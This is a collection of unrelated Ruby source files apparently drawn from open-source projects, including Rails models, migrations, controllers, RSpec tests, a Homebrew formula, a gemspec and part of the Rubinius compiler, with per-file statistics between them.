# # Copyright:: Copyright (c) 2014 Opscode, Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # name "ruby-windows-devkit-bash" default_version "3.1.23-4-msys-1.0.18" license "GPL-3.0" license_file "http://www.gnu.org/licenses/gpl-3.0.txt" skip_transitive_dependency_licensing true dependency "ruby-windows-devkit" source url: "https://github.com/opscode/msys-bash/releases/download/bash-#{version}/bash-#{version}-bin.tar.lzma", md5: "22d5dbbd9bd0b3e0380d7a0e79c3108e" relative_path "bin" build do # Copy over the required bins into embedded/bin ["bash.exe", "sh.exe"].each do |exe| copy "#{exe}", "#{install_dir}/embedded/bin/#{exe}" end end
32.621622
114
0.739022
7aac2df18802644335a6f4210fb8c01ef63551cd
198
class CreatePipeExecs < ActiveRecord::Migration def self.up create_table :pipe_execs do |t| # t.column :name, :string end end def self.down drop_table :pipe_execs end end
16.5
47
0.681818
79ce74d70a502e9e3d3a2f2b50c791e91cff4be4
149
# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_rails-boilerplate_session'
37.25
87
0.812081
ed4d806801cccd659387981b02e1fca2ef8972f2
950
class Horse < ActiveRecord::Base extend Slug::ClassMethods include Slug::InstanceMethods belongs_to :user has_many :prizes has_many :horseshows, through: :prizes validates :name, format: { with: /\A[a-zA-Z\s\d]+\z/ }, uniqueness: { case_sensitive: false } def point_total #sums the point_total attribute from all prizes belonging to a horse point_list = self.prizes.map{|prize| prize.point_total} point_list.sum end def point_total_by_horseshow(show_id) #find a horse's point total from a particular show self.prizes.find{|prize| prize.horseshow_id == show_id}.point_total end def slug self.name.downcase.gsub(" ", "-") end def self.find_by_slug(slug) self.all.find { |horse| horse.slug == slug } end def sort_horseshows_from_horses_list #sorts horseshows by date from horse's list of horse shows self.horseshows.order(:date) end end
32.758621
99
0.685263
bfc746ccd06f6b8576047de2b4b902b85d7f2fe5
27
json.partial! @observation
13.5
26
0.814815
3988a02c43eac80d9391b5f2a2cd64fa97dd7421
708
module Rake #################################################################### # The NameSpace class will lookup task names in the the scope # defined by a +namespace+ command. # class NameSpace # Create a namespace lookup object using the given task manager # and the list of scopes. def initialize(task_manager, scope_list) @task_manager = task_manager @scope = scope_list.dup end # Lookup a task named +name+ in the namespace. def [](name) @task_manager.lookup(name, @scope) end # Return the list of tasks defined in this and nested namespaces. def tasks @task_manager.tasks_in_scope(@scope) end end # class NameSpace end
25.285714
70
0.612994
b91680c83a849dd549688ed756805415bec2e182
1,745
require 'rails_helper' RSpec.feature "Departments", type: :feature do # vars for existing let(:building) { FactoryBot.create(:building_seed) } let(:building_complete) { FactoryBot.create(:building_seed_complete, name: 'Jumping Joes Crab Shack') } let(:department) { FactoryBot.create(:department_seed, building: building) } let(:department_two) { FactoryBot.create(:department_seed, building: building) } let(:employee) { FactoryBot.create(:employee_seed, departments: [department, department_two]) } before(:each) do # instantiate creations so that each page can see them building department department_two employee end scenario 'departments index page' do visit '/departments' expect(page).to have_content('Library Departments') expect(page).to have_content(department.name) expect(page).to have_content(department_two.name) end scenario 'department details' do phones = FactoryBot.create(:phone, phoneable: department) emails = FactoryBot.create(:email, emailable: department) service_point = FactoryBot.create(:service_point, department: department) # There is some really stupid stuff going on # phon numbers and service points aren't adding after create visit "/departments/#{department.id}" expect(page).to have_content(department.name) expect(page).to have_content(phones.number) expect(page).to have_content(emails.address) expect(page).to have_content(service_point.name) end scenario 'department employees' do visit "/departments/#{department.id}/employees" expect(page).to have_content(department.name) expect(page).to have_content(employee.display_name) expect(page).to have_content(employee.email) end end
37.934783
105
0.744986
edb766837ba8ebb459935056f1ec13659b7d77de
684
module Berkshelf # Used to communicate with a remotely hosted [Berkshelf API Server](https://github.com/berkshelf/berkshelf-api). # # @example # client = Berkshelf::APIClient.new("https://api.berkshelf.com") # client.universe #=> [...] module APIClient require_relative "api_client/version" require_relative "api_client/errors" require_relative "api_client/remote_cookbook" require_relative "api_client/connection" require_relative "api_client/chef_server_connection" class << self def new(*args) Connection.new(*args) end def chef_server(**args) ChefServerConnection.new(**args) end end end end
27.36
114
0.69152
384ccea7021d0956176b762b63b3a1b3d4b2a2ff
510
class UsersController < ApplicationController before_action :already_login?, only: [:new, :create] before_action :login?, only: :show def new @user = User.new end def create user = User.new(user_params) if user.save session[:user_id] = user.id redirect_to user_path, notice: "アカウント作成に成功しました。" else render :new end end def show end private def user_params params.require(:user).permit(:name, :email, :password, :password_confirmation) end end
18.888889
82
0.67451
f8ad61a777ddddcbb888e218570cf8ebf01707c8
1,086
# coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'video_thumb/version' Gem::Specification.new do |spec| spec.name = "video_thumb" spec.version = VideoThumb::VERSION spec.authors = ["Tolga Gezginiş"] spec.email = ["[email protected]"] spec.summary = %q{Youtube, Vimeo and İzlesene thumbnails} spec.description = %q{Get the thumbnails from Youtube, Vimeo and İzlesene videos} spec.homepage = "https://github.com/tgezginis/video_thumb" spec.license = "MIT" spec.files = `git ls-files -z`.split("\x0") spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) } spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ["lib"] spec.add_runtime_dependency "json", "~> 2.1" spec.add_runtime_dependency "nokogiri", "~> 1.8" spec.add_development_dependency "bundler", "~> 1.7" spec.add_development_dependency "rake", "~> 10.0" spec.add_development_dependency "minitest", "~> 5.8" end
40.222222
85
0.665746
f86ccb494c9b9f48358ebc5497fd263b916e92b5
885
# frozen_string_literal: true # Mover class class Mover include Processing::Proxy attr_reader :acceleration, :mass, :velocity, :location G = 0.4 def initialize(location:, mass:) @location = location @velocity = Vec2D.new(0, 0) @acceleration = Vec2D.new(0, 0) @mass = mass end def apply_force(force:) @acceleration += force / mass end def update @velocity += acceleration @location += velocity @acceleration *= 0 end def display stroke(0) stroke_weight(2) fill(0, 100) ellipse(location.x, location.y, mass * 24, mass * 24) end def run update display end def attract(mover:) force = location - mover.location distance = force.mag distance = constrain(distance, 5.0, 25.0) force.normalize! strength = (G * mass * mass) / (distance * distance) force *= strength end end
18.061224
57
0.636158
7aa607bcd06ceba4a63c8fad1c0554733216b99b
77
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) require 'felomvc'
25.666667
58
0.727273
26596620d3f4301e35186278eaced8fb8e6dd589
505
# Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. AdwordsOnRails::Application.config.secret_token = 'b20bd3d29512f3f742e244b70bea74f9e11822c7c3c3ba512ea85b497e42901b863562a792d8394acd10c4787792552e4c4111f93e1cf7b3110bec9c0ce91153'
63.125
180
0.835644
088e7b1d9bfb33ad872c29a6d830c18578c67286
8,312
describe Metric::CiMixin::Capture do require File.expand_path(File.join(File.dirname(__FILE__), %w(.. .. .. tools telefonica_data telefonica_data_test_helper))) before :each do _guid, _server, @zone = EvmSpecHelper.create_guid_miq_server_zone @mock_meter_list = TelefonicaMeterListData.new @mock_stats_data = TelefonicaMetricStatsData.new @metering = double(:metering) allow(@metering).to receive(:list_meters).and_return( TelefonicaApiResult.new((@mock_meter_list.list_meters("resource_counters") + @mock_meter_list.list_meters("metadata_counters")))) @ems_telefonica = FactoryBot.create(:ems_telefonica, :zone => @zone) allow(@ems_telefonica).to receive(:connect).with(:service => "Metering").and_return(@metering) @vm = FactoryBot.create(:vm_perf_telefonica, :ext_management_system => @ems_telefonica) end before do @orig_log = $log $log = double.as_null_object end after do $log = @orig_log end def expected_stats_period_start parse_datetime('2013-08-28T11:01:20Z') end def expected_stats_period_end parse_datetime('2013-08-28T12:41:40Z') end context "2 collection periods total, end of 1. period has incomplete stat" do ################################################################################################################### # DESCRIPTION FOR: net_usage_rate_average # MAIN SCENARIOS : it "checks that saved metrics are correct" do capture_data('2013-08-28T12:02:00Z', 20.minutes) stats_period_start = [api_time_as_utc(@read_bytes.first), api_time_as_utc(@write_bytes.first)].min stats_period_end = [api_time_as_utc(@read_bytes.last), api_time_as_utc(@write_bytes.last)].min # check start date and end date expect(stats_period_start).to eq expected_stats_period_start expect(stats_period_end).to eq expected_stats_period_end # check that 20s block is not interrupted between start and end time for net_usage_rate_average stats_counter = 0 (expected_stats_period_start + 20.seconds..expected_stats_period_end).step_value(20.seconds).each do |timestamp| expect(@metrics_by_ts[timestamp.iso8601].try(:net_usage_rate_average)).not_to eq nil stats_counter += 1 end # check that 20s block is not interrupted between start and end time for disk_usage_rate_average stats_counter = 0 (expected_stats_period_start + 20.seconds..expected_stats_period_end).step_value(20.seconds).each do |timestamp| expect(@metrics_by_ts[timestamp.iso8601].try(:disk_usage_rate_average)).not_to eq nil stats_counter += 1 end # check that 20s block is not interrupted between start and end time for cpu_usage_rate_average stats_counter = 0 (expected_stats_period_start + 20.seconds..expected_stats_period_end).step_value(20.seconds).each do |timestamp| expect(@metrics_by_ts[timestamp.iso8601].try(:cpu_usage_rate_average)).not_to eq nil stats_counter += 1 end end end context "2 collection periods total, end of 1. period has complete stats" do ################################################################################################################### # DESCRIPTION FOR: net_usage_rate_average # MAIN SCENARIOS : it "checks that saved metrics are correct" do capture_data('2013-08-28T12:06:00Z', 20.minutes) stats_period_start = [api_time_as_utc(@read_bytes.first), api_time_as_utc(@write_bytes.first)].min stats_period_end = [api_time_as_utc(@read_bytes.last), api_time_as_utc(@write_bytes.last)].min # check start date and end date expect(stats_period_start).to eq expected_stats_period_start expect(stats_period_end).to eq expected_stats_period_end # check that 20s block is not interrupted between start and end time for net_usage_rate_average stats_counter = 0 (expected_stats_period_start + 20.seconds..expected_stats_period_end).step_value(20.seconds).each do |timestamp| expect(@metrics_by_ts[timestamp.iso8601].try(:net_usage_rate_average)).not_to eq nil stats_counter += 1 end # check that 20s block is not interrupted between start and end time for disk_usage_rate_average stats_counter = 0 (expected_stats_period_start + 20.seconds..expected_stats_period_end).step_value(20.seconds).each do |timestamp| expect(@metrics_by_ts[timestamp.iso8601].try(:disk_usage_rate_average)).not_to eq nil stats_counter += 1 end # check that 20s block is not interrupted between start and end time for cpu_usage_rate_average stats_counter = 0 (expected_stats_period_start + 20.seconds..expected_stats_period_end).step_value(20.seconds).each do |timestamp| expect(@metrics_by_ts[timestamp.iso8601].try(:cpu_usage_rate_average)).not_to eq nil stats_counter += 1 end end end context "2 collection periods total, there is data hole between periods" do it "verifies that hole in the data is logged, corrupted data is logged and no other warnings are logged" do # Hole in the data is logged expect($log).to receive(:warn).with(/expected to get data as of/).exactly(:once) # Corrupted data is logged expect($log).to receive(:warn).with(/Distance of the multiple streams of data is invalid/).exactly(:once) # No to other warnings should be logged expect($log).not_to receive(:warn) # sending no collection period overlap will cause hole in the data capture_data('2013-08-28T11:56:00Z', nil) end end def capture_data(second_collection_period_start, collection_overlap_period) # 1.collection period, save all metrics allow(@metering).to receive(:get_statistics) do |name, _options| first_collection_period = filter_statistics(@mock_stats_data.get_statistics(name, "multiple_collection_periods"), '<=', second_collection_period_start) TelefonicaApiResult.new(first_collection_period) end allow(@vm).to receive(:state_changed_on).and_return(second_collection_period_start) @vm.perf_capture_realtime(Time.parse('2013-08-28T11:01:40Z').utc, Time.parse(second_collection_period_start).utc) # 2.collection period, save all metrics allow(@metering).to receive(:get_statistics) do |name, _options| second_collection_period = filter_statistics(@mock_stats_data.get_statistics(name, "multiple_collection_periods"), '>', second_collection_period_start, collection_overlap_period) TelefonicaApiResult.new(second_collection_period) end allow(@vm).to receive(:state_changed_on).and_return(second_collection_period_start) @vm.perf_capture_realtime(Time.parse(second_collection_period_start).utc, Time.parse('2013-08-28T14:02:00Z').utc) @metrics_by_ts = {} @vm.metrics.each do |x| @metrics_by_ts[x.timestamp.iso8601] = x end # grab read bytes and write bytes data, these values are pulled directly from # spec/tools/telefonica_data/telefonica_perf_data/multiple_collection_periods.yml @read_bytes = @mock_stats_data.get_statistics("network.incoming.bytes", "multiple_collection_periods") @write_bytes = @mock_stats_data.get_statistics("network.outgoing.bytes", "multiple_collection_periods") end def filter_statistics(stats, op, date, subtract_by = nil) filter_date = parse_datetime(date) filter_date -= subtract_by if subtract_by stats.select { |x| x['period_end'].send(op, filter_date) } end def api_time_as_utc(api_result) period_end = api_result["period_end"] parse_datetime(period_end) end def parse_datetime(datetime) datetime << "Z" if datetime.size == 19 Time.parse(datetime).utc end end
44.449198
119
0.670115
391bc471c178df23c84479dfc603844173bfe4b5
1,553
require 'evertils/common/entity/notebooks' module Evertils module Common module Entity class Notebook < Entity::Base # # @since 0.2.0 def find(name) @entity = nil notebooks = Notebooks.new.all @entity = notebooks.detect { |nb| nb.name == name } self if @entity end # # @since 0.2.0 def create(name, stack = nil) @entity = nil notebook = ::Evernote::EDAM::Type::Notebook.new notebook.name = name if !stack.nil? notebook.stack = stack notebook.name = "#{stack}/#{name}" end @entity = @evernote.call(:createNotebook, notebook) self if @entity end # # @since 0.2.0 def default @entity = @evernote.call(:getDefaultNotebook) self if @entity end # # @since 0.2.9 def expunge! @evernote.call(:expungeNotebook, @entity.guid) end # # @since 0.2.0 # @deprecated 0.2.9 def expunge deprecation_notice('0.2.9', 'Replaced with Entity#expunge! Will be removed in 0.4.0.') @evernote.call(:expungeNotebook, @entity.guid) end # # @since 0.2.0 def notes filter = ::Evernote::EDAM::NoteStore::NoteFilter.new filter.notebookGuid = @entity.guid notes = Notes.new notes.find(nil, @entity.guid) end end end end end
21.873239
97
0.508049
3874f4fe7b52cc93d09052ca319eb5de327db519
7,129
require 'spec_helper' module Spree describe Api::V1::VariantsController, :type => :controller do render_views let!(:product) { create(:product) } let!(:variant) do variant = product.master variant.option_values << create(:option_value) variant end let!(:base_attributes) { Api::ApiHelpers.variant_attributes } let!(:show_attributes) { base_attributes.dup.push(:in_stock, :display_price) } let!(:new_attributes) { base_attributes } before do stub_authentication! end it "can see a paginated list of variants" do api_get :index first_variant = json_response["variants"].first expect(first_variant).to have_attributes(show_attributes) expect(first_variant["stock_items"]).to be_present expect(json_response["count"]).to eq(1) expect(json_response["current_page"]).to eq(1) expect(json_response["pages"]).to eq(1) end it 'can control the page size through a parameter' do create(:variant) api_get :index, :per_page => 1 expect(json_response['count']).to eq(1) expect(json_response['current_page']).to eq(1) expect(json_response['pages']).to eq(3) end it 'can query the results through a parameter' do expected_result = create(:variant, :sku => 'FOOBAR') api_get :index, :q => { :sku_cont => 'FOO' } expect(json_response['count']).to eq(1) expect(json_response['variants'].first['sku']).to eq expected_result.sku end it "variants returned contain option values data" do api_get :index option_values = json_response["variants"].last["option_values"] expect(option_values.first).to have_attributes([:name, :presentation, :option_type_name, :option_type_id]) end it "variants returned contain images data" do variant.images.create!(:attachment => image("thinking-cat.jpg")) api_get :index expect(json_response["variants"].last).to have_attributes([:images]) expect(json_response['variants'].first['images'].first).to have_attributes([:attachment_file_name, :attachment_width, :attachment_height, :attachment_content_type, :mini_url, :small_url, :product_url, :large_url]) end it 'variants returned do not contain cost price data' do api_get :index expect(json_response["variants"].first.has_key?(:cost_price)).to eq false end # Regression test for #2141 context "a deleted variant" do before do variant.update_column(:deleted_at, Time.now) end it "is not returned in the results" do api_get :index expect(json_response["variants"].count).to eq(0) end it "is not returned even when show_deleted is passed" do api_get :index, :show_deleted => true expect(json_response["variants"].count).to eq(0) end end context "pagination" do it "can select the next page of variants" do second_variant = create(:variant) api_get :index, :page => 2, :per_page => 1 expect(json_response["variants"].first).to have_attributes(show_attributes) expect(json_response["total_count"]).to eq(3) expect(json_response["current_page"]).to eq(2) expect(json_response["pages"]).to eq(3) end end it "can see a single variant" do api_get :show, :id => variant.to_param expect(json_response).to have_attributes(show_attributes) expect(json_response["stock_items"]).to be_present option_values = json_response["option_values"] expect(option_values.first).to have_attributes([:name, :presentation, :option_type_name, :option_type_id]) end it "can see a single variant with images" do variant.images.create!(:attachment => image("thinking-cat.jpg")) api_get :show, :id => variant.to_param expect(json_response).to have_attributes(show_attributes + [:images]) option_values = json_response["option_values"] expect(option_values.first).to have_attributes([:name, :presentation, :option_type_name, :option_type_id]) end it "can learn how to create a new variant" do api_get :new expect(json_response["attributes"]).to eq(new_attributes.map(&:to_s)) expect(json_response["required_attributes"]).to be_empty end it "cannot create a new variant if not an admin" do api_post :create, :variant => { :sku => "12345" } assert_unauthorized! end it "cannot update a variant" do api_put :update, :id => variant.to_param, :variant => { :sku => "12345" } assert_not_found! end it "cannot delete a variant" do api_delete :destroy, :id => variant.to_param assert_not_found! expect { variant.reload }.not_to raise_error end context "as an admin" do sign_in_as_admin! let(:resource_scoping) { { :product_id => variant.product.to_param } } # Test for #2141 context "deleted variants" do before do variant.update_column(:deleted_at, Time.now) end it "are visible by admin" do api_get :index, :show_deleted => 1 expect(json_response["variants"].count).to eq(1) end end it "can create a new variant" do api_post :create, :variant => { :sku => "12345" } expect(json_response).to have_attributes(new_attributes) expect(response.status).to eq(201) expect(json_response["sku"]).to eq("12345") expect(variant.product.variants.count).to eq(1) end it "can update a variant" do api_put :update, :id => variant.to_param, :variant => { :sku => "12345" } expect(response.status).to eq(200) end it "can delete a variant" do api_delete :destroy, :id => variant.to_param expect(response.status).to eq(204) expect { Spree::Variant.find(variant.id) }.to raise_error(ActiveRecord::RecordNotFound) end it 'variants returned contain cost price data' do api_get :index expect(json_response["variants"].first.has_key?(:cost_price)).to eq true end end end end
36.558974
104
0.567822
871fd5ed0cf69a9b7dc1e7952126bc78364c243b
1,401
# frozen_string_literal: true lib = File.expand_path("lib", __dir__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require "graphql/anycable/version" Gem::Specification.new do |spec| spec.name = "graphql-anycable" spec.version = GraphQL::Anycable::VERSION spec.authors = ["Andrey Novikov"] spec.email = ["[email protected]"] spec.summary = <<~SUMMARY A drop-in replacement for GraphQL ActionCable subscriptions for AnyCable. SUMMARY spec.homepage = "https://github.com/Envek/graphql-anycable" spec.license = "MIT" # Specify which files should be added to the gem when it is released. # The `git ls-files -z` loads the files in the RubyGem that have been added into git. spec.files = Dir.chdir(File.expand_path(__dir__)) do `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) } end spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ["lib"] spec.add_dependency "anycable", "~> 0.6.0" spec.add_dependency "anyway_config", "~> 1.3" spec.add_dependency "graphql", "~> 1.8" spec.add_development_dependency "bundler", "~> 1.16" spec.add_development_dependency "fakeredis" spec.add_development_dependency "rake", "~> 10.0" spec.add_development_dependency "rspec", "~> 3.0" end
36.868421
87
0.66738
ac328e1bf39fb69c0b86242d72e5e6b8e71abf26
1,968
require "#{File.dirname(__FILE__)}/helper" class ReconnectionsTest < Test::Unit::TestCase include WaderTest def test_raises_after_max_reconnect_attempts Mockingbird.setup(:port=>8080) do # Success on first connection on_connection(1) do 10.times do send '{"foo":"bar"}' wait 0.1 end close end # Subsequent connections will fail on_connection ('*') do disconnect! end end wader = Flamingo::Wader.new('user','pass',MockStream.new) Flamingo.dispatch_queue.expects(:enqueue).times(10) assert_raise( Flamingo::Wader::MaxReconnectsExceededError, "Expected a max reconnects error to be raised by run" ) do wader.run end assert_equal(Twitter::JSONStream::RETRIES_MAX,wader.retries) ensure Mockingbird.teardown end def test_retries_if_server_initially_unavailable wader = Flamingo::Wader.new('user','pass',MockStream.new) wader.server_unavailable_wait = 0 wader.server_unavailable_max_retries = 5 assert_raise( Flamingo::Wader::ServerUnavailableError, "Expected a server unavailable error to be raised by run" ) do wader.run end assert_equal(5,wader.server_unavailable_retries) end def test_retries_if_server_becomes_unavailable Mockingbird.setup(:port=>8080) do # Success on first connection on_connection(1) do 10.times do send '{"foo":"bar"}' wait 0.1 end close quit end end wader = Flamingo::Wader.new('user','pass',MockStream.new) Flamingo.dispatch_queue.expects(:enqueue).times(10) assert_raise( Flamingo::Wader::MaxReconnectsExceededError, "Expected a max reconnects error to be raised by run" ) do wader.run end assert_equal(Twitter::JSONStream::RETRIES_MAX,wader.retries) end end
23.152941
64
0.646341
ace15ed76f2b672ba9d3493b5a945d7560704c8d
471
class Deadweight module Rack class CapturingMiddleware def initialize(app, dw) @app = app @dw = dw end def call(env) response = @app.call(env) process(response) response end def process(rack_response) status, headers, response = rack_response if response.respond_to?(:body) html = response.body @dw.process!(html) end end end end end
17.444444
49
0.549894
7a8dbdca3b6ca48c382d85fd7b34dcc837e71854
582
Pod::Spec.new do |s| s.name = 'SwiftShield' s.module_name = 'SwiftShield' s.version = '3.3.3' s.license = { type: 'MIT', file: 'LICENSE' } s.summary = 'A tool that protects Swift iOS apps against class-dump attacks.' s.homepage = 'https://github.com/rockbruno/swiftshield' s.authors = { 'Bruno Rocha' => '[email protected]' } s.social_media_url = 'https://twitter.com/rockthebruno' s.source = { http: "https://github.com/rockbruno/swiftshield/releases/download/#{s.version}/swiftshield.zip" } s.preserve_paths = '*' s.exclude_files = '**/file.zip' end
44.769231
112
0.687285
5d0d9126339686d17ec1331dc723b6d47a38f7a9
153
class AddHomeUrlToOauthApplications < ActiveRecord::Migration def change add_column :oauth_applications, :home_url, :string, null: false end end
25.5
67
0.79085
b9aeadf75d134f0681118f711beba622fa06c98d
1,360
class Re2 < Formula desc "Alternative to backtracking PCRE-style regular expression engines" homepage "https://github.com/google/re2" stable do url "https://github.com/google/re2/archive/2015-08-01.tar.gz" version "20150801" sha256 "0fd7388097dcc7b26a8fc7c4e704e2831d264015818fa3f13665f36d40afabf8" end head "https://github.com/google/re2.git" bottle do cellar :any sha256 "3d23d9919dca4ac70d5c7d675b055a5ce6628103314e001b0b891448da71883e" => :el_capitan sha256 "43f1a2e5dab1357d1ae7e0bce0d21a7a905f2083eab6f7aadaba214e267492c6" => :yosemite sha256 "461fac19a240edb44c105a8f05ff30ed53c1f665e7bfd6f94cf8e2998252684a" => :mavericks end def install system "make", "install", "prefix=#{prefix}" system "install_name_tool", "-id", "#{lib}/libre2.0.dylib", "#{lib}/libre2.0.0.0.dylib" lib.install_symlink "libre2.0.0.0.dylib" => "libre2.0.dylib" lib.install_symlink "libre2.0.0.0.dylib" => "libre2.dylib" end test do (testpath/"test.cpp").write <<-EOS.undent #include <re2/re2.h> #include <assert.h> int main() { assert(!RE2::FullMatch("hello", "e")); assert(RE2::PartialMatch("hello", "e")); return 0; } EOS system ENV.cxx, "-I#{include}", "-L#{lib}", "-lre2", testpath/"test.cpp", "-o", "test" system "./test" end end
32.380952
92
0.675
39017e3c54629dfa0026b3f9a08d938e941040bc
525
require 'test_helper' class UserTest < ActiveSupport::TestCase test "can create post" do p = Post.create(title: "Some Title", body: "Some body.") puts 'Post created.' end test "can create post for user" do u = User.create(email: '[email protected]') puts 'User created.' p = Post.create(title: "Some Title", body: "Some body.") puts 'Post created.' u.posts.append(p) u.save puts 'Post associated with user.' puts "Post title: #{p.title}" puts "Post body: #{p.body}" end end
25
60
0.634286
f80ed565683bcae4c6a26e1a333e4fed58111a1c
1,637
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 2020_12_07_091129) do create_table "active_storage_attachments", force: :cascade do |t| t.string "name", null: false t.string "record_type", null: false t.integer "record_id", null: false t.integer "blob_id", null: false t.datetime "created_at", null: false t.index ["blob_id"], name: "index_active_storage_attachments_on_blob_id" t.index ["record_type", "record_id", "name", "blob_id"], name: "index_active_storage_attachments_uniqueness", unique: true end create_table "active_storage_blobs", force: :cascade do |t| t.string "key", null: false t.string "filename", null: false t.string "content_type" t.text "metadata" t.bigint "byte_size", null: false t.string "checksum", null: false t.datetime "created_at", null: false t.index ["key"], name: "index_active_storage_blobs_on_key", unique: true end end
44.243243
126
0.744655
03711ee1e0772d8fc1354b4816bf5356bbd6627e
1,951
#!/usr/bin/env ruby # { terriblefs filename => [build dir filename, convert_linefeeds, num sectors] } FILES = { "MSRBTRCD" => :mbr, "KERN_BIN" => ["kernel-commandline.bin", false, 4], "BEEMOVIE" => ["bee-movie.txt", true, 128], "BEEMVIE2" => ["back-to-back-bee-movie.txt", true, 256], "TEST_BIN" => ["test.bin", false, 1] } out_fn = "terriblefs.bin" def die(msg) STDERR.puts msg exit 1 end if ARGV[0] == "makefile" required_files = FILES.values.find_all{|v| v.is_a? Array}.map(&:first) puts "#{out_fn}: #{$0} #{required_files.join(" ")} \truby #{$0}" exit 0 end FILES.each do |tfn, arr| if tfn.size != 8 die "Name must be exactly 8 characters" end if arr.is_a?(Array) && File.size(arr.first) > arr[2]*512 die "Sector size #{arr[2]} too small for #{tfn}:#{arr[0]}" end end #first sector is mbr #next 8 sectors are the metadata table sector_offset = 9 File.open(out_fn, "wb") do |f| FILES.each do |tfn, arr| if arr == :mbr die "mbr file must be first" unless sector_offset == 9 f.write tfn f.write [0, 512].pack("L<L<") else (rfn, conv, ss) = arr arr.push(sector_offset) old_pos = f.tell f.seek((sector_offset*512)-512) new_pos = f.tell if conv data = File.read(rfn) new_data = data.encode( data.encoding, universal_newline: true ).encode( data.encoding, crlf_newline: true ) f.write(new_data) else File.open(rfn, "rb") do |rf| IO.copy_stream(rf, f) end end out_length = f.tell - new_pos f.seek(old_pos) if out_length > ss*512 die "Sector size #{ss} too small for #{tfn}:#{rfn}" end f.write tfn f.write [sector_offset, out_length].pack("L<L<") sector_offset += ss end die "I'm bad at writing" unless f.tell % 16 == 0 end f.write 0x80.chr 7.times{ f.write 0x00.chr } f.write [sector_offset, 0].pack("L<L<") end
25.337662
116
0.597642
61f1fa19a38c34634dcc1de397a34df3634e6ba9
6,003
## # Turns text into CompiledMethods class Compiler Config = Hash.new ## # Compiler error subclass. class Error < RuntimeError end def self.process_flags(flags) flags.each { |f| Config[f] = true } if flags end def self.parse_flags(stream) to_clear = [] stream.each do |token| if token.prefix? "-f" to_clear << token name, val = token[2..-1].split("=") val = true unless val Config[name] = val end end to_clear.each { |t| stream.delete(t) } end def self.compile_file(path, flags=nil) process_flags(flags) sexp = File.to_sexp(path) comp = new(Generator) node = comp.into_script(sexp) return node.to_description(:__script__).to_cmethod end def self.compile_string(string, binding, file = "(eval)", line = 1) sexp = string.to_sexp(file, line) node = new(Generator, binding).convert_sexp(s(:eval_expression, sexp)) desc = node.to_description(:__eval_script__) desc.for_block = true cm = desc.to_cmethod cm.file = file.to_sym return cm end TimeEpoch = 1141027200 # rubinius' birthday @version_number = nil def self.version_number unless @version_number begin # handled for .rba files in init.rb dir = $LOAD_PATH.detect { |path| File.file? "#{path}/compiler/compiler.rb" } max = Dir["#{dir}/compiler/*.rb"].map { |f| File.mtime(f).to_i }.max @version_number = max - TimeEpoch rescue Exception @version_number = 0 end if $DEBUG_LOADING STDERR.puts "[Compiler version: #{@version_number}]" end end return @version_number end def self.version_number=(ver) if ver @version_number = ver - TimeEpoch else @version_number = 0 end if $DEBUG_LOADING STDERR.puts "[Compiler version: #{@version_number} (forced)]" end end def initialize(gen_class, context=nil) @variables = {} @generator_class = gen_class @plugins = Hash.new { |h,k| h[k]= [] } @file = "(unknown)" @line = 0 @context = context @kernel = Config['rbx-kernel'] load_plugins end def kernel? @kernel end def custom_scopes? @context end def create_scopes ctx = @context if ctx.kind_of? BlockContext all_scopes = [] block_scopes = [] while ctx.kind_of? BlockContext scope = LocalScope.new(nil) scope.from_eval = true block_scopes.unshift scope all_scopes << scope if !ctx.env.from_eval? and names = ctx.method.local_names i = 0 names.each do |name| scope[name].created_in_block! i i += 1 end end ctx = ctx.env.home_block end scope = LocalScope.new(nil) scope.from_eval = true all_scopes << scope if names = ctx.method.local_names i = 0 names.each do |name| scope[name].slot = i i += 1 end end return [scope, block_scopes, all_scopes, @context] else scope = LocalScope.new(nil) scope.from_eval = true i = 0 if names = ctx.method.local_names names.each do |name| scope[name].slot = i i += 1 end end return [scope, [], [scope], @context] end end attr_reader :plugins attr_accessor :generator_class def set_position(file, line) @file, @line = file, line end def current_file @file end def current_line @line end def load_plugins # The default plugins activate_default :block_given activate_default :primitive activate_default :assembly activate_default :fastmath activate_default :current_method activate :safemath if Config['rbx-safe-math'] activate :const_epxr if Config['rbx-kernel'] activate_default :fastsystem activate_default :fastgeneric # AutoPrimitiveDetection is currently disabled # TODO - Implement the opt_* primitives it requires and reactivate # activate_default :auto_primitive end def activate_default(name) activate(name) unless Config["no-#{name}"] end def activate(name) cls = Plugins.find_plugin(name) raise Error, "Unknown plugin '#{name}'" unless cls @plugins[cls.kind] << cls.new(self) end def inspect "#<#{self.class}>" end def convert_sexp(sexp) return nil if sexp.nil? raise ArgumentError, "input must be a Sexp: #{sexp.inspect}" unless Sexp === sexp klass = Node::Mapping[sexp.first] raise Error, "Unable to resolve '#{sexp.first.inspect}'" unless klass return klass.create(self, sexp) end def into_script(sexp) begin convert_sexp(s(:script, sexp)) rescue Object => e puts "Compilation error detected: #{e.message}" puts " near #{@file}:#{@line}" puts puts e.awesome_backtrace.show end end def get(tag) @variables[tag] end def set(tag, val=true) if tag.kind_of? Hash cur = @variables.dup @variables.merge! tag begin yield ensure @variables = cur end else cur = 